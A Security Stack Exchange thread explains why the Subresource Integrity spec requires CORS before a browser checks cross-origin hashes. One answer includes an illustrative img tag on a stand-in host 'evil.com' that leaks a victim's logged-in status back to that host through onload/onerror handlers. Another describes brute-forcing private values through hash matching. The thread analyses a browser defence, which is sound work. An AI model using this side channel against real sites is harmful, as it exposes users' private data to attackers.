16

Can someone elaborate on the attacks alluded to in this paragraph from the W3C SubResource Integrity spec?

In order to mitigate an attacker’s ability to read data cross-origin by brute-forcing values via integrity checks, responses are only eligible for such checks if they are same-origin or are the result of explicit access granted to the loading origin via Cross Origin Resource Sharing [CORS].

To me, it comes across as nonsensical because:

  1. My reading of "read data cross-origin by brute-forcing values" suggests it's an attack against the server.
  2. A non-browser user agent can always fetch from a server without CORS.
  3. I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

On a more practical level, I ask because:

  1. It feels as if user tracking via SRI Origin+IP has the potential to become a partial workaround for the growing ability to suppress (sites) or forge (browsers) Referer headers for protection against Referer+IP tracking (a reason I always self-host my subresources to avoid hypocrisy).
  2. I'm wondering whether there would be any increased security risk to me if I were to complement my existing browser extensions like Decentraleyes with a more general solution based on requesting a CSS or JavaScript resource using the pre-CORS set of headers (paired with Referer forging), but then enforcing the provided hash anyway.

EDIT: While @Anders answered the rationale for using it with credentialed requests (ie. requests with session cookies or similar), that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on <script> and <link rel="stylesheet">, but omitting the crossorigin attribute altogether is not.

If the attack involves using onload or onerror to extract one bit of information based on whether the subresource matches a hash, then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

    3 Answers 3

    13

    The attack

    I think the attack they are trying to protect against is the following.

    Imagine santaclause.com serves an image at santaclause.com/naughty_or_nice.png to logged in users. The image is a green checkmark if the logged in user has been nice, and a red X if they have been naughty. Mallory wants to know if Alice has been nice or not. So on evil.com he sets up the following on a page and sends the link to Alice, who clicks it.

    <img src="santaclause.com/naughty_or_nice.png" integrity="sha256-{hash of nice image}" onload="document.location='http://evil.com?log=nice';" onerror="document.location='http://evil.com?log=naughty';" > 

    When Alice views the page, the browser will send her session cookies to santaclause.com, which will respond with the nice image if she has been nice. The onload event will fire, and Mallory logs that she has been nice on evil.com. On the other hand, if she has been naughty the integrity check will fail and Mallory therefore knows that Alice has been naughty.

    Because of the spec, this attack will fail. Since santaclause.com has not "explicitly granted access to the loading origin via CORS" the browser will not make the integrity check, and load the image even if the hash is wrong, thereby always firing the onload event and never the onerror event.

    Without this detail in the spec, an attacker would gain the ability to make cross origin requests with the victim's credentials and get answers to questions of the kind "Was this the response?". While not as bad as being able to just read the response, it still allows the attacker to brute force what the response is if it comes from a small enough set of possible values.

    Why it is not nonsensical

    My reading of "read data cross-origin by brute-forcing values" suggests it's an attack against the server.

    I'd say that the above is an attack on the user, not the server (even though the server is obviously involved).

    A non-browser user agent can always fetch from a server without CORS.

    Yes, but how does Mallory fool Alice into following the link in a non browser user agent?

    I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

    If you embed sensitive information in JS or CSS without CSRF protection you will expose it to cross origin attacks, yes. The specs have never pretended to protect against that.

    However, they have claimed to protect against the same in images or JSON, and therefore must try to continue to do that even when new features are added.

    [...] that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on and , but omitting the crossorigin attribute altogether is not.

    As SilverlightFox points out in his answer, even anonymous requests can return sensitive information, e.g. if IP is used to return different content to different users. So sites should not be allowed to read the results of cross domain requests even if they do not contain any authentication headers.

    [...]then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

    Yes, a site can infer information about the content of cross origin requests for stylesheets and JavaScript (thats why JSONP works, by the way). This is well known, and the specs have never pretended to protect against it.

    If you expand this to allowing integrity checks for anynomous cross origin request, you expand that ability to work for all sorts of resources - JSON, XML, images etc, and not just JS and CSS.

    Why? Because to infer any information about the content of a JS file it needs to actually execute, so it needs to be JS. If you include e.g. an XML file in a script tag all you get is a syntax error. But you could easily include an XML file with a script tag, slap an integrity attribute to it, and then learn about its content by checking if it loads or not.

    9
    • You're probably right, but it seems uncharacteristic for them to not consider the psychology of requiring it in places which are already holes in the same-origin restrictions. As-is, I can easily see many people who value their privacy but are prone to cargo cult-ish behaviour just stripping out the integrity and crossorigin attributes before pasting the <link> or <script> tags into their templates because they have an overinflated sense of the competence of big CDN providers and see tracking via Origin as a bigger threat than attack via compromised subresources.
      – ssokolow
      CommentedJan 23, 2017 at 10:31
    • @ssokolow There really isn't an option in how to design the specs here. Doing the integrity check without the CORS check would break things.
      – Anders
      CommentedJan 23, 2017 at 11:51
    • integrity isn't some reused name formerly belonging to some ancient HTML version and <link> and <script> work with neither or both. I could see it breaking things now that people have had a chance to apply just the integrity attribute without checking their browser console, but how could it have broken something initially?
      – ssokolow
      CommentedJan 23, 2017 at 11:56
    • 1
      @ssokolow santaclause.com would be broken (made unsecure) if browsers started doing integrity checks on cross domain resources.
      – Anders
      CommentedJan 23, 2017 at 12:34
    • Bah. Again, I forget to think about onload vs. onerror. They need to augment the spec with a third crossorigin value which sends a null origin so CDNs have the option to wildcard-authorize rather than having to receive an Origin that would be useful to log.
      – ssokolow
      CommentedJan 23, 2017 at 13:05
    5

    What attacks are mitigated by requiring CORS for subresource integrity verification?

    The Same Origin Policy is the cornerstone of the client-side security model of the web through the isolation of user data. As you already know, CORS relaxes the default SOP restrictions. Without relaxing these restrictions, the origin site has no right to inspect responses, including the integrity of a resource via the integrity attribute.

    Requiring CORS mitigates attacks that would expose the privacy of user data. e.g. say a JavaScript file contains the email address of the logged in user:

    email = "[email protected]"; 

    Without the external site explicitly allowing the integrity to be checked would mean any site on the internet could brute force the email address by running a list of email addresses through the hashing algorithm (along with the rest of the JavaScript file) to see when it gets a match. This is what is meant by brute-forcing in the spec.

    Onto your other points:

    A non-browser user agent can always fetch from a server without CORS.

    Client-side attacks always require the victim browser to play their part because it will supply the cookies in a credentialed request, or if another type of authentication mechanism is used (e.g. IP), then it will supply the victim's IP in a non-credentialled request. The attacker is not the one choosing the user agent, so taking non-browsers into the equation is a moot point.

    I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

    This is incorrect. Nothing legacy allows the reading of external resources by code. Yes, the browser itself can use JS and CSS external to the top level site, however this is not considered a CORS request because script from the origin is not reading the response - it's only the browser itself for rendering and for executing any script.

    In my example above, there would be no way for the requesting origin site to read the literal code email = "[email protected]";, even before subresource integrity came about. If the email variable was in a closure, it wouldn't be queryable at all even by JavaScript on the origin site.

    EDIT: While @Anders answered the rationale for using it with credentialed requests (ie. requests with session cookies or similar), that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on and , but omitting the crossorigin attribute altogether is not.

    Remember, there are two crossorigin possible values:

    • crossorigin="anonymous"
    • crossorigin="use-credentials"

    Because CORS is required on the external origin, it makes sense to specify the expected one in the current origin.

    If the attack involves using onload or onerror to extract one bit of information based on whether the subresource matches a hash, then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

    Yes, you can examine the effects of an external CSS or JavaScript anyway, with or without CORS, as the resource applies in the context of your current site. However, you cannot view the actual source code from a cross-origin request. Enabling CORS allows this, because the CSS or JavaScript resource could then also be requested via XHR, rather than a <script> or <link> tag.

    One such scenario that doesn't require credentials is if you imagine an authentication model that does not use cookies, an authentication header or certificates. The remote IP address is an excellent example.

    If Anders' naughty_or_nice.png returned whether the user was good or bad based upon IP address rather than login credentials, then crossorigin="anonymous" would be fine, and the integrity of the resource could be checked if santaclause.com output Access-Control-Allow-Origin appropriately.

    Otherwise it needs to be crossorigin="use-credentials" and santaclause.com must output Access-Control-Allow-Credentials: true as well as the ACAO header.

    In the first example, the remote site can still control security. It still can examine the Origin request header and allow or deny the request with its CORS header. In the second, it just needs to apply its authorisation rules as normal.

    So to sum up, the crossorigin tag is required so that the correct CORS header is sent (Origin), and if the external site allows (via CORS), the integrity tag allows the browser examine the response on behalf of the originating site.

    That is:

    • crossorigin = I'm sending, and I expect either ACAO or ACAO and ACAC in response.
    • integrity = I'm receiving, and I'll check the hash from the external Origin if the aforementioned headers are appropriately returned.
    1
    • Comments are not for extended discussion; this conversation has been moved to chat.
      – Rory Alsop
      CommentedJan 30, 2017 at 23:37
    1

    It comes off as nonsensical because it is largely nonsensical.

    If any web page is allowed to do this:

    <script src="https://shadycdn.com/jquery.js"></script> 

    Then the same web page should certainly be allowed to do this:

    <script src="https://shadycdn.com/jquery.js" integrity="..."></script> 

    ...but that's not the case. In summary the current spec is "you are allowed to load and run this javascript blindly, but you are not allowed to check that it is what you expect it to be before running it unless the server lets you" - which is a nonsensical policy. But, it's a product of technical debt accumulated in browser tech so it's very difficult to change now.

    I understand that attackers can potentially glean information by changing the value of integrity and observing whether onload or onerror event is fired. But is that really a bigger threat than a shady CDN disallowing integrity checks in order to give themselves permission to inject adware/cryptominers into their hosted scripts without users being able to detect it? I contend that it is not.

    IMO, it could be designed way better if we could start over and drop legacy compatibility, but half of browser security features had to be duct taped into the existing specs in a backwards compatible way in response to novel new attacks and so we have now the half baked spaghetti security situation that we are in.

      You must log in to answer this question.

      Start asking to get answers

      Find the answer to your question by asking.

      Ask question

      Explore related questions

      See similar questions with these tags.